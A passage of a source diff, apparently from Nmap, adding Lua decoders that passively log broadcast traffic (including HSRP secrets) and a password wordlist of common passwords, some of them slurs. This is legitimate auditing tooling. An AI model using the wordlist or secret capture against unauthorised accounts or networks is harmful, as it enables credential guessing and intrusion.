+ table.insert(result, { name = "Registrations", tab.dump(self.reg_result) })
+ end
+ if ( #self.query_result > 1 ) then
+ table.insert(result, { name = "Query", tab.dump(self.query_result) })
+ end
+ return result
+ end,
+ },
+
+ -- BROWSER
+ [138] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local netbios = require('netbios')
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ local ip, src, dst = string.unpack(">c4 xxxxxx c34 c34", data, 5)
+
+ ip = ipOps.str_to_ip(ip)
+ src = netbios.name_decode(src)
+ dst = netbios.name_decode(dst)
+ stdnse.debug1("Decoded BROWSER: %s, %s, %s", ip, src, dst)
+
+ local dup_rec = ("%s:%s:%s"):format(ip, src, dst)
+ if ( not(self.dups[dup_rec]) ) then
+ self.dups[dup_rec] = true
+ if ( not(self.results) ) then
+ self.results = tab.new(3)
+ tab.addrow(self.results, 'ip', 'src', 'dst')
+ end
+ tab.addrow(self.results, ip, src, dst)
+ end
+ end,
+
+ getResults = function(self) return { name = "Browser", (self.results and tab.dump(self.results)) } end,
+ },
+
+ -- DHCPv6
+ [547] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local tab = require('tab')
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ local dhcp6 = require("dhcp6")
+ local resp = dhcp6.DHCP6.Response.parse(data)
+
+ for _, v in ipairs(resp.opts or {}) do
+ if v.resp and v.resp.fqdn then
+ if ( not(self.results) ) then
+ self.results = tab.new(2)
+ tab.addrow(self.results, 'ip', 'fqdn')
+ end
+ if ( not(self.dups[p.ip_src]) or not(self.dups[p.ip_src][v.resp.fqdn]) ) then
+ tab.addrow(self.results, p.ip_src, v.resp.fqdn )
+ self.dups[p.ip_src] = self.dups[p.ip_src] or {}
+ self.dups[p.ip_src][v.resp.fqdn] = true
+ end
+ end
+ end
+ end,
+
+ getResults = function(self) return { name = "DHCP6", (self.results and tab.dump(self.results)) } end,
+ },
+
+ -- CUPS
+ [631] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local tab = require('tab')
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ local function split(str)
+ local start, pos, stop = 1, 1
+ local pattern = ""
+ local result = {}
+
+ while(pos) do
+ start = pos + #pattern
+ pos, stop = str:find("\"", start)
+ pattern = (pos == start and "\" " or " ")
+ pos, stop = str:find(pattern, start + 1)
+ table.insert(result, str:sub(start, (stop and stop - (#pattern))))
+ end
+ return ( #result > 0 and result or nil )
+ end
+
+ local results = split(data)
+ local uri = ( #results > 3 and results[3]:match('[^%"]+') )
+ local loc = ( #results > 4 and results[4]:match('[^%"]+') or "")
+ local info = ( #results > 5 and results[5]:match('[^%"]+') or "")
+ local model = ( #results > 6 and results[6]:match('[^%"]+') or "")
+
+ if ( not(self.results) ) then
+ self.results = tab.new(4)
+ tab.addrow(self.results, 'ip', 'uri', 'loc', 'model')
+ end
+
+ stdnse.debug1("Decoded CUPS: %s, %s, %s, %s", p.ip_src, uri, loc, model)
+ if ( not(self.dups[p.ip_src]) or not(self.dups[p.ip_src][uri]) ) then
+ tab.addrow(self.results, p.ip_src, uri, loc, model)
+ self.dups[p.ip_src] = self.dups[p.ip_src] or {}
+ self.dups[p.ip_src][uri] = self.dups[p.ip_src][uri] or true
+ end
+ end,
+
+ getResults = function(self) return { name = "CUPS", (self.results and tab.dump(self.results)) } end,
+
+ },
+
+ -- SSDP
+ [1900] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ local headers = stringaux.strsplit("\r\n", data)
+ for _, h in ipairs(headers) do
+ local st = ""
+ if ( h:match("^ST:.*") ) then
+ st = h:match("^ST:(.*)")
+ if ( not(self.results) ) then
+ self.results = tab.new(1)
+ tab.addrow( self.results, 'ip', 'uri' )
+ end
+ if ( not(self.dups[("%s:%s"):format(p.ip_src,st)]) ) then
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ tab.addrow( self.results, p.ip_src, st )
+ self.dups[("%s:%s"):format(p.ip_src,st)] = true
+ end
+ end
+ end
+ end,
+
+ getResults = function(self) return { name = "SSDP", (self.results and tab.dump(self.results)) } end,
+ },
+
+ --- HSRP
+ [1985] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ local State = {
+ [0] = "Initial",
+ [1] = "Learn",
+ [2] = "Listen",
+ [4] = "Speak",
+ [8] = "Standby",
+ [16] = "Active"
+ }
+
+ local Op = {
+ [0] = "Hello",
+ [1] = "Coup",
+ [2] = "Resign",
+ }
+
+ local version, op, state, prio, group, secret, pos = string.unpack("BBBxxBBxz", data)
+ if ( version ~= 0 ) then return end
+ pos = pos + ( 7 - #secret )
+ local virtip
+ virtip, pos = string.unpack(">I4", data, pos)
+
+ if ( not(self.dups[p.ip_src]) ) then
+ if ( not(self.results) ) then
+ self.results = tab.new(7)
+ tab.addrow(self.results, 'ip', 'version', 'op', 'state', 'prio', 'group', 'secret', 'virtual ip')
+ end
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ self.dups[p.ip_src] = true
+ tab.addrow(self.results, p.ip_src, version, Op[op], State[state], prio, group, secret, ipOps.fromdword(virtip))
+ end
+ end,
+
+ getResults = function(self) return { name = "HSRP", (self.results and tab.dump(self.results) or "") } end,
+
+ },
+
+
+ -- Dropbox
+ [17500] = {
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local json = require("json")
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+ local status, info = json.parse(data)
+ if ( not(status) ) then
+ return false, "Failed to parse JSON data"
+ end
+
+ -- Add host to list.
+ for _, key1 in pairs({"namespaces", "version"}) do
+ for key2, val in pairs(info[key1]) do
+ info[key1][key2] = tostring(info[key1][key2])
+ end
+ end
+
+ if ( not(self.results) ) then
+ self.results = tab.new(6)
+ tab.addrow(
+ self.results,
+ 'displayname',
+ 'ip',
+ 'port',
+ 'version',
+ 'host_int',
+ 'namespaces'
+ )
+ end
+
+ if ( not(self.dups[p.ip_src]) ) then
+ tab.addrow(
+ self.results,
+ info.displayname,
+ p.ip_src,
+ info.port,
+ table.concat(info.version, "."),
+ info.host_int,
+ table.concat(info.namespaces, ", ")
+ )
+ self.dups[p.ip_src] = true
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ end
+ end,
+
+ getResults = function(self) return { name = "DropBox", (self.results and tab.dump(self.results) or "") } end,
+ },
+
+ --- Squeezebox Discovery
+ [3483] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ if ( data:match("^eIPAD") ) then
+ if ( not(self.results) ) then
+ self.results = tab.new(1)
+ tab.addrow( self.results, 'ip' )
+ end
+
+ if ( not(self.dups[p.ip_src]) ) then
+ tab.addrow( self.results, p.ip_src )
+ self.dups[p.ip_src] = true
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ end
+ end
+
+ end,
+
+ getResults = function(self) return { name = "Squeezebox Discovery", (self.results and tab.dump(self.results) or "") } end,
+
+ },
+
+ -- Multicast DNS/BonJour/ZeroConf
+ [5353] = {
+
+ new = function(self)
+ local o = {
+ dups = {},
+ macbooks = {},
+ generic = {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local dns = require('dns')
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+ local dresp = dns.decode(data)
+ local name
+
+ if ( dresp.questions and #dresp.questions > 0 ) then
+ name = dresp.questions[1].dname
+ elseif ( dresp.answers and #dresp.answers > 0 ) then
+ -- Identify MacBooks
+ local macbook, model, ip, ipv6
+
+ if ( p.ip_src:match(":") ) then
+ ipv6 = p.ip_src
+ else
+ ip = p.ip_src
+ end
+
+ for i in ipairs(dresp.answers) do
+ if ( dresp.answers[i]['data'] ) then
+ local data = string.unpack("s1", dresp.answers[i]['data'])
+ if ( data ) then
+ model = data:match("^model=(.*)")
+ if ( model ) then
+ macbook = dresp.answers[i]['dname']:match("^(.-)%._")
+ end
+ end
+ elseif ( dresp.answers[i]['ip'] ) then
+ ip = dresp.answers[i]['ip']
+ elseif ( dresp.answers[i]['ipv6'] ) then
+ ipv6 = dresp.answers[i]['ipv6']
+ elseif ( not(macbook) and dresp.answers[i]['domain'] ) then
+ macbook = dresp.answers[i]['domain']
+ end
+ end
+ if ( macbook and model ) then
+ self.macbooks[macbook] = self.macbooks[macbook] or {}
+ self.macbooks[macbook]['macbook'] = self.macbooks[macbook]['macbook'] or macbook
+ self.macbooks[macbook]['model'] = self.macbooks[macbook]['model'] or model
+ self.macbooks[macbook]['ip'] = self.macbooks[macbook]['ip'] or ip
+ self.macbooks[macbook]['ipv6'] = self.macbooks[macbook]['ipv6'] or ipv6
+ stdnse.debug1("Decoded MDNS(MacBook): %s, %s, %s, %s",
+ (self.macbooks[macbook]['ip'] or ""), (self.macbooks[macbook]['ipv6'] or ""),
+ self.macbooks[macbook]['model'], self.macbooks[macbook]['macbook'])
+ else
+ name = dresp.answers[1].dname
+ if ( not(name) ) then return end
+ self.generic[name] = self.generic[name] or {}
+ self.generic[name]['name'] = self.generic[name]['name'] or name
+ if ( p.ip_src:match(":") ) then
+ self.generic[name]['ipv6'] = p.ip_src
+ else
+ self.generic[name]['ip'] = p.ip_src
+ end
+ stdnse.debug1("Decoded MDNS(Generic): %s, %s", name, p.ip_src)
+ end
+ end
+ end,
+
+ getResults = function(self)
+ local tab = require('tab')
+ local result = { name = "MDNS" }
+
+ -- build a macbooks table
+ local macbooks, generic
+
+ if ( next(self.generic) ) then
+ table.sort(self.generic)
+ generic = tab.new(3)
+ tab.addrow(generic, 'ip', 'ipv6', 'name')
+
+ for name, v in pairs(self.generic) do
+ tab.addrow(generic, (v.ip or ""), (v.ipv6 or ""), name)
+ end
+ table.insert(result, { name = 'Generic', tab.dump(generic) } )
+ end
+
+ if ( next(self.macbooks) ) then
+ table.sort(self.macbooks)
+ macbooks = tab.new(4)
+ tab.addrow(macbooks, 'ip', 'ipv6', 'name', 'model')
+
+ for _, v in pairs(self.macbooks) do
+ tab.addrow(macbooks, (v.ip or ""), (v.ipv6 or ""), v.macbook, v.model)
+ end
+ table.insert(result, { name = 'Macbooks', tab.dump(macbooks) } )
+ end
+
+ return result
+ end,
+ },
+
+ [5355] = { -- LLMNR
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local tab = require('tab')
+ local dns = require('dns')
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ local resp = dns.decode(data)
+ if ( not(self.results) ) then
+ self.results = tab.new(2)
+ tab.addrow(self.results, 'ip', 'query')
+ end
+
+ local name = (( resp.questions and #resp.questions > 0 ) and resp.questions[1].dname )
+ if ( not(name) ) then return end
+ stdnse.debug1("Decoded LLMNR: %s, %s", p.ip_src, name)
+
+ if ( not(self.dups[("%s:%s"):format(p.ip_src, name)]) ) then
+ self.dups[("%s:%s"):format(p.ip_src, name)] = true
+ tab.addrow(self.results, p.ip_src, name)
+ end
+ end,
+
+ getResults = function(self) return { name = "LLMNR", (self.results and tab.dump(self.results)) } end,
+},
+
+--- Spotify
+[57621] = {
+
+ new = function(self)
+ local o = { dups = {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ process = function(self, layer3)
+ local p = packet.Packet:new( layer3, #layer3 )
+ local data = layer3:sub(p.udp_offset + 9)
+
+ if ( data:match("^SpotUdp") ) then
+ if ( not(self.results) ) then
+ self.results = tab.new(1)
+ tab.addrow( self.results, 'ip' )
+ end
+
+ if ( not(self.dups[p.ip_src]) ) then
+ tab.addrow( self.results, p.ip_src )
+ self.dups[p.ip_src] = true
+ if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
+ end
+ end
+
+ end,
+
+ getResults = function(self) return { name = "Spotify", (self.results and tab.dump(self.results)) } end,
+
+}
+
+ }
+}
diff --git a/nselib/data/passwords.lst b/nselib/data/passwords.lst
new file mode 100644
index 0000000..073f491
--- /dev/null
+++ b/nselib/data/passwords.lst
@@ -0,0 +1,5007 @@
+#!comment: This collection of data is (C) 1996-2022 by Nmap Software LLC.
+#!comment: It is distributed under the Nmap Public Source license as
+#!comment: provided in the LICENSE file of the source distribution or at
+#!comment: https://nmap.org/npsl/. Note that this license
+#!comment: requires you to license your own work under a compatable open source
+#!comment: license. If you wish to embed Nmap technology into proprietary
+#!comment: software, we sell alternative licenses at https://nmap.org/oem/.
+
+123456
+12345
+123456789
+password
+iloveyou
+princess
+12345678
+1234567
+abc123
+nicole
+daniel
+monkey
+babygirl
+qwerty
+lovely
+654321
+michael
+jessica
+111111
+ashley
+000000
+iloveu
+michelle
+tigger
+sunshine
+chocolate
+password1
+soccer
+anthony
+friends
+purple
+angel
+butterfly
+jordan
+fuckyou
+123123
+justin
+liverpool
+football
+loveme
+secret
+andrea
+jennifer
+joshua
+carlos
+superman
+bubbles
+hannah
+1234567890
+amanda
+andrew
+loveyou
+pretty
+basketball
+angels
+flower
+tweety
+hello
+playboy
+charlie
+elizabeth
+samantha
+hottie
+chelsea
+tinkerbell
+shadow
+barbie
+666666
+jasmine
+lovers
+brandon
+teamo
+matthew
+melissa
+eminem
+robert
+danielle
+forever
+dragon
+computer
+whatever
+family
+jonathan
+cookie
+summer
+987654321
+naruto
+vanessa
+sweety
+joseph
+spongebob
+junior
+taylor
+softball
+mickey
+yellow
+lauren
+daniela
+princesa
+william
+alexandra
+thomas
+jesus
+alexis
+miguel
+estrella
+patrick
+angela
+mylove
+poohbear
+beautiful
+iloveme
+sakura
+adrian
+121212
+destiny
+alexander
+christian
+america
+monica
+dancer
+112233
+sayang
+richard
+diamond
+orange
+555555
+princess1
+carolina
+steven
+louise
+rangers
+snoopy
+hunter
+999999
+killer
+nathan
+789456
+11111
+buster
+shorty
+gabriel
+cherry
+george
+cheese
+sandra
+alejandro
+rachel
+brittany
+ginger
+patricia
+alejandra
+7777777
+159753
+pokemon
+pepper
+arsenal
+maggie
+peanut
+baseball
+dolphin
+heather
+david
+tequiero
+chicken
+blink182
+antonio
+222222
+victoria
+sweetie
+rainbow
+stephanie
+987654
+beauty
+honey
+00000
+fernando
+cristina
+corazon
+kisses
+manuel
+angel1
+martin
+heaven
+november
+55555
+rebelde
+greenday
+123321
+ricardo
+batman
+babygurl
+madison
+123abc
+mother
+alyssa
+morgan
+asshole
+december
+bailey
+mahalkita
+september
+mariposa
+maria
+sophie
+jeremy
+gemini
+pamela
+gabriela
+shannon
+iloveyou2
+kimberly
+jessie
+pictures
+austin
+claudia
+hellokitty
+booboo
+master
+harley
+angelica
+babygirl1
+victor
+horses
+courtney
+tiffany
+mahalko
+eduardo
+kissme
+mariana
+peaches
+andres
+banana
+precious
+chris
+october
+ronaldo
+inuyasha
+veronica
+iloveyou1
+888888
+freedom
+james
+prince
+oliver
+jesus1
+zxcvbnm
+adriana
+samsung
+cutie
+friend
+crystal
+edward
+scooby
+celtic
+rebecca
+jackie
+carmen
+kenneth
+diana
+angelo
+johnny
+456789
+sebastian
+school
+spiderman
+karina
+mustang
+christopher
+slipknot
+august
+orlando
+0123456789
+samuel
+monkey1
+adidas
+cameron
+barcelona
+casper
+bitch
+kitten
+internet
+50cent
+kevin
+cutiepie
+brenda
+bonita
+babyboy
+maganda
+karen
+natalie
+fuckoff
+123654
+isabel
+sarah
+silver
+cuteako
+javier
+jasper
+789456123
+777777
+tigers
+marvin
+rockstar
+bowwow
+nicholas
+chester
+laura
+portugal
+smokey
+denise
+asdfgh
+flowers
+january
+tintin
+alicia
+volleyball
+101010
+bianca
+garfield
+cristian
+dennis
+cassie
+696969
+chrisbrown
+sweet
+francis
+midnight
+strawberry
+panget
+love123
+lollipop
+benfica
+aaaaaa
+olivia
+welcome
+apples
+charles
+cancer
+qwertyuiop
+ihateyou
+vincent
+mercedes
+nirvana
+jordan23
+letmein
+camila
+monique
+superstar
+harrypotter
+fucker
+scorpio
+pookie
+icecream
+christine
+benjamin
+mexico
+abigail
+charmed
+131313
+lorena
+lovelove
+abcdef
+katherine
+andreea
+333333
+rafael
+brianna
+love
+aaliyah
+brooke
+johncena
+dakota
+gangsta
+jackson
+michael1
+hiphop
+travis
+sabrina
+metallica
+julian
+stephen
+jeffrey
+sergio
+mybaby
+babyblue
+fluffy
+badboy
+simple
+smiley
+catherine
+dolphins
+melanie
+blondie
+westlife
+newyork
+fernanda
+sasuke
+88888888
+muffin
+piglet
+roberto
+teresa
+steaua
+jason
+minnie
+ronald
+asdfghjkl
+popcorn
+raymond
+slideshow
+kitty
+santiago
+scooter
+5201314
+dexter
+jerome
+jayson
+246810
+ladybug
+gandako
+cookies
+gatita
+leslie
+babyko
+lalala
+christ
+alberto
+232323
+jenny
+sweetheart
+chivas
+leonardo
+nicole1
+rockon
+marcus
+valeria
+anthony1
+babydoll
+jayjay
+brooklyn
+cocacola
+12345678910
+sexygirl
+bitch1
+liliana
+happy
+chris1
+amores
+eeyore
+natasha
+skittles
+fatima
+252525
+single
+lover
+london
+winnie
+159357
+miamor
+123456a
+colombia
+manutd
+lakers
+hahaha
+britney
+albert
+katrina
+teddybear
+linda
+elephant
+grace
+christina
+marie
+stupid
+hockey
+0123456
+pasaway
+snickers
+mahal
+turtle
+tatiana
+charlotte
+smile
+147258369
+cantik
+qazwsx
+teiubesc
+genesis
+shelby
+natalia
+spider
+francisco
+147258
+xavier
+kelsey
+amorcito
+angelito
+claire
+brandy
+manchester
+paola
+fuckyou1
+mommy1
+marina
+147852
+bandit
+phoenix
+rabbit
+amigos
+444444
+garcia
+bonnie
+linkinpark
+marlon
+sharon
+guitar
+dallas
+starwars
+disney
+monster
+frankie
+diego
+red123
+pimpin
+pumpkin
+iverson
+54321
+andrei
+england
+soccer1
+sparky
+fashion
+justine
+allison
+emily
+102030
+lucky1
+456123
+wilson
+potter
+danny
+matrix
+miranda
+bestfriend
+number1
+canada
+people
+thunder
+hermosa
+barney
+player
+savannah
+camille
+sporting
+katie
+nelson
+212121
+yankees
+scotland
+timothy
+hearts
+iloveu2
+truelove
+hottie1
+jasmin
+smiles
+bubble
+onelove
+jayden
+florida
+ilovehim
+parola
+ganda
+brandon1
+jackass
+shakira
+motorola
+tennis
+sweets
+estrellita
+westside
+nikki
+evelyn
+biteme
+monkeys
+maryjane
+lucky
+trinity
+loverboy
+ronnie
+love12
+elijah
+joanna
+emmanuel
+familia
+broken
+compaq
+1234
+omarion
+hello1
+999999999
+mamita
+rodrigo
+justin1
+jamaica
+california
+isabella
+shopping
+fuckyou2
+gracie
+nothing
+kathleen
+cupcake
+mauricio
+sammy
+abcdefg
+bradley
+amigas
+mariah
+loser
+connor
+preciosa
+ferrari
+snowball
+elaine
+robbie
+hector
+flores
+jorge
+trustno1
+darling
+candy
+martinez
+sunflower
+millie
+jamie
+melody
+blessed
+cheche
+dominic
+joanne
+valentina
+swimming
+pebbles
+tyler
+friendster
+santos
+taurus
+dreams
+a123456
+aaron
+gloria
+loving
+gangster
+sweetpea
+kitkat
+sunshine1
+google
+jessica1
+cheyenne
+dustin
+violet
+apple
+sydney
+darren
+megan
+darkangel
+kelly
+cynthia
+zachary
+froggy
+charlie1
+sophia
+skater
+123qwe
+raiders
+purple1
+bettyboop
+darkness
+oscar
+iubire
+money
+chacha
+jordan1
+010203
+inlove
+batista
+bestfriends
+marian
+gerald
+carebear
+green
+daddy1
+pogiako
+karla
+billabong
+sexyme
+willow
+cooper
+pinky
+daddysgirl
+ashley1
+bambam
+tigger1
+amber
+fuckme
+erika
+nenita
+dreamer
+bella
+gatito
+butter
+123789
+buttercup
+glitter
+passion
+lokita
+sister
+maldita
+nichole
+lindsey
+sierra
+lindsay
+anderson
+booger
+miller
+caroline
+eagles
+loveya
+marissa
+lovebug
+nicolas
+cecilia
+zacefron
+tokiohotel
+lollypop
+bubblegum
+kristine
+mario
+puppies
+mememe
+carter
+chubby
+scorpion
+ariana
+sammie
+11111111
+stella
+raquel
+kristen
+qwerty1
+lonely
+stacey
+baller
+chance
+hotstuff
+angelina
+roxana
+james1
+susana
+sexybitch
+rocker
+williams
+012345
+babylove
+rocky
+sweet16
+freddy
+lolita
+remember
+football1
+catdog
+kayla
+playgirl
+loveme1
+marcos
+zxcvbn
+yamaha
+gustavo
+bhebhe
+PASSWORD
+hotdog
+202020
+daddy
+151515
+milagros
+caitlin
+vampire
+lovely1
+ireland
+skyline
+matthew1
+xxxxxx
+beyonce
+lilmama
+georgia
+martha
+gerard
+armando
+undertaker
+margarita
+bryan
+kittycat
+tristan
+lizzie
+dance
+loves
+password2
+money1
+amistad
+tamara
+boomer
+simpsons
+justme
+capricorn
+maddie
+andrew1
+amelia
+delfin
+legolas
+sheila
+141414
+harvey
+cheerleader
+chiquita
+gateway
+cowboys
+janine
+penguin
+enrique
+patches
+scoobydoo
+genius
+badgirl
+israel
+carlitos
+happy1
+dancing
+cuteme
+lester
+angeles
+peewee
+walter
+jesuschrist
+awesome
+thebest
+deedee
+lucky7
+chichi
+buddy1
+angie
+00000000
+ashton
+winter
+michelle1
+hardcore
+tinker
+myself
+janice
+paloma
+tazmania
+regina
+cinderella
+molly
+miriam
+poopoo
+animal
+april
+ilovejesus
+david1
+murphy
+please
+felipe
+spencer
+tekiero
+princesita
+jesucristo
+pussycat
+johnson
+lipgloss
+melvin
+rosita
+jazmin
+celeste
+mierda
+scarface
+pangit
+silvia
+arturo
+741852963
+mylife
+trixie
+gorgeous
+hernandez
+chicago
+panthers
+daisy
+yourmom
+ilovegod
+xbox360
+babyboo
+kristina
+crazy
+hawaii
+honeyko
+valerie
+nikita
+sparkle
+debbie
+loveu
+tucker
+098765
+hollywood
+wesley
+lupita
+alfredo
+hailey
+musica
+abcd1234
+sexymama
+lawrence
+242424
+jeremiah
+hayden
+bullshit
+marley
+chloe
+qwert
+barbara
+1q2w3e4r
+micheal
+lolipop
+panther
+jimmy
+trouble
+united
+sheena
+coffee
+87654321
+0987654321
+diamonds
+pineapple
+isaiah
+brian
+blonde
+christmas
+bubbles1
+sandy
+jasmine1
+pantera
+marisol
+cesar
+twilight
+shadow1
+butterfly1
+bananas
+741852
+whitney
+mhine
+julius
+pauline
+madalina
+birthday
+anamaria
+drpepper
+beatriz
+eugene
+bobby
+donald
+desiree
+hannah1
+sweetness
+february
+moomoo
+twinkle
+friendship
+leanne
+simone
+shelly
+anita
+lover1
+marie1
+perfect
+beckham
+cookie1
+cowboy
+calvin
+123123123
+imissyou
+samson
+catalina
+damian
+ashlee
+autumn
+buddy
+bebita
+joshua1
+147852369
+andre
+iloveyou!
+titanic
+daniel1
+pollito
+nursing
+serenity
+mommy
+babyface
+torres
+bitches
+dinamo
+paradise
+reggie
+bulldogs
+852456
+animals
+willie
+juliana
+alison
+passw0rd
+sexylady
+robert1
+cassandra
+14344
+mendoza
+blossom
+mariel
+element
+bethany
+1111111
+1q2w3e
+creative
+harold
+bulldog
+mitchell
+diesel
+marshall
+amanda1
+marcela
+gerardo
+maverick
+peterpan
+tanner
+tyrone
+cutie1
+kucing
+chanel
+simpleplan
+paulina
+ILOVEYOU
+fabian
+pisces
+always
+hollister
+kaylee
+margaret
+grandma
+143143
+donkey
+salvador
+lovehurts
+stars
+rodriguez
+jason1
+sanchez
+boston
+thuglife
+181818
+patito
+thumper
+piolin
+theresa
+derrick
+helena
+dianne
+sweet1
+joseluis
+aquarius
+dancer1
+ashleigh
+aaaaa
+diosesamor
+bigboy
+danger
+brownie
+phillip
+sammy1
+panda
+maxwell
+mihaela
+trisha
+kitty1
+parker
+love4ever
+esther
+shane
+chinita
+alexandru
+pickles
+rosebud
+archie
+yvonne
+virginia
+heart
+hamster
+amormio
+rosario
+police
+gregory
+frances
+lorraine
+marius
+speedy
+hayley
+11223344
+arnold
+morena
+kaitlyn
+fantasy
+trevor
+sports
+audrey
+tweety1
+asdfg
+babycakes
+sexy123
+taylor1
+hello123
+babies
+golden
+12341234
+black
+gerrard
+italia
+justice
+brittney
+superman1
+catarina
+roxanne
+nintendo
+marco
+toyota
+753951
+lorenzo
+cuddles
+yasmin
+chrissy
+darwin
+rockme
+diablo
+rascal
+summer1
+nadine
+tyler1
+giggles
+sofia
+godisgood
+dominique
+rocku
+happiness
+jenjen
+castillo
+joyjoy
+shorty1
+russell
+ghetto
+wildcats
+kittykat
+madison1
+faith
+william1
+pelusa
+blahblah
+franklin
+beautiful1
+college
+mickey1
+curtis
+jocelyn
+fabiola
+cristo
+buttons
+junjun
+alisha
+cheer
+kayleigh
+gilbert
+unicorn
+rooney
+rochelle
+babygurl1
+julio
+cricket
+macmac
+singer
+montana
+cuteko
+vanilla
+1qaz2wsx
+winston
+merlin
+hershey
+philip
+bloods
+bigdaddy
+sarita
+slayer
+gabrielle
+naughty
+mississippi
+therock
+friends1
+tiger
+pikachu
+soledad
+mickeymouse
+marilyn
+shithead
+7654321
+sapphire
+busted
+johanna
+yolanda
+gwapako
+123654789
+prettygirl
+pickle
+emerald
+warren
+jacob
+nascar
+jellybean
+elizabeth1
+dragons
+pretty1
+love13
+ramona
+australia
+camilo
+scotty
+pink123
+bismillah
+pedro
+douglas
+pinkie
+holas
+yoyoyo
+photos
+briana
+carla
+lucky13
+callum
+9876543210
+shirley
+lavender
+hilary
+iceman
+aurora
+goddess
+erick
+ihateu
+janelle
+loveme2
+asshole1
+dylan
+little
+watermelon
+copper
+rahasia
+breanna
+lourdes
+juancarlos
+PRINCESS
+tania
+yellow1
+cheer1
+latina
+lovergirl
+windows
+papito
+hunter1
+010101
+22222
+ranger
+krystal
+idontknow
+kittens
+rocky1
+madonna
+diamond1
+damien
+iluvme
+emanuel
+teamomucho
+norman
+poohbear1
+kingkong
+171717
+goldfish
+cindy
+flower1
+music
+houston
+spanky
+wicked
+belinda
+iloveu1
+ballet
+rangers1
+valentine
+hotgirl
+peanut1
+boogie
+cuties
+teacher
+volcom
+yahoo
+142536
+charlene
+liberty
+babyphat
+shaggy
+caramelo
+selena
+mookie
+phoebe
+incubus
+baby123
+special
+wendy
+coolgirl
+lovelife
+billy
+0000000000
+connie
+myname
+loulou
+chelsea1
+maymay
+handsome
+alexa
+a12345
+buster1
+lucero
+richie
+steelers
+crazy1
+marlboro
+kristin
+love1
+chicken1
+1435254
+rayray
+angelita
+sniper
+paula
+peter
+arthur
+tommy
+walker
+guadalupe
+124578
+kissmyass
+goober
+linkin
+candy1
+esmeralda
+peace
+dayana
+marisa
+iloveme1
+converse
+random
+ramirez
+champion
+sexybabe
+angel123
+nathaniel
+spongebob1
+harry
+2cute4u
+atlanta
+sassy1
+falloutboy
+molly1
+jesse
+dianita
+1111111111
+gothic
+sassy
+161616
+eunice
+nissan
+sexy12
+12345a
+0000000
+family1
+hotchick
+080808
+giovanni
+sagitario
+preston
+kelvin
+juventus
+danica
+shutup
+cutegirl
+lacoste
+campanita
+winner
+password123
+snuggles
+fatboy
+realmadrid
+951753
+iverson3
+stefan
+leelee
+ronaldinho
+erica
+austin1
+skippy
+bernard
+newcastle
+esteban
+maribel
+moises
+thomas1
+spirit
+tiger1
+missy
+mahalkoh
+blueeyes
+fresita
+hotpink
+pakistan
+tequieromucho
+loser1
+taytay
+honey1
+playboy1
+soulmate
+celticfc
+ecuador
+tagged
+michel
+carrie
+helpme
+judith
+michele
+kennedy
+brandi
+nancy
+111222
+stanley
+arlene
+lunita
+pierre
+landon
+rachelle
+maurice
+darius
+newlife
+Password
+nicola
+southside
+hermione
+282828
+unique
+mackenzie
+cooldude
+alexia
+99999
+ernesto
+domino
+cosita
+france
+hummer
+mamapapa
+coolcat
+morales
+edgar
+nigger
+katelyn
+rodney
+dimples
+bunny
+chocolate1
+gonzalez
+children
+father
+starlight
+dillon
+rivera
+eclipse
+fender
+moonlight
+iluvu
+viviana
+something
+esperanza
+marlene
+cassidy
+abcde
+softball1
+234567
+sunset
+love22
+godbless
+garrett
+kathryn
+77777
+pitbull
+baby12
+romance
+chopper
+fucku
+ingrid
+blue123
+clover
+groovy
+warrior
+smudge
+134679
+allstar
+annie
+goldie
+swordfish
+snowflake
+ricky
+yugioh
+blabla
+shasha
+theone
+redsox
+dragon1
+ballin
+karate
+ragnarok
+doraemon
+daisy1
+freddie
+julie
+puppy
+success
+paramore
+online
+runescape
+wizard
+geraldine
+jermaine
+blue22
+dimple
+romania
+bhaby
+loveless
+meghan
+bitchy
+thailand
+alonso
+tweetybird
+mykids
+bella1
+jefferson
+cherries
+maggie1
+seventeen
+coconut
+mariela
+emotional
+computer1
+sponge
+smallville
+peluche
+serena
+poopie
+cheryl
+gladys
+punkrock
+191919
+mexico1
+cameron1
+amber1
+262626
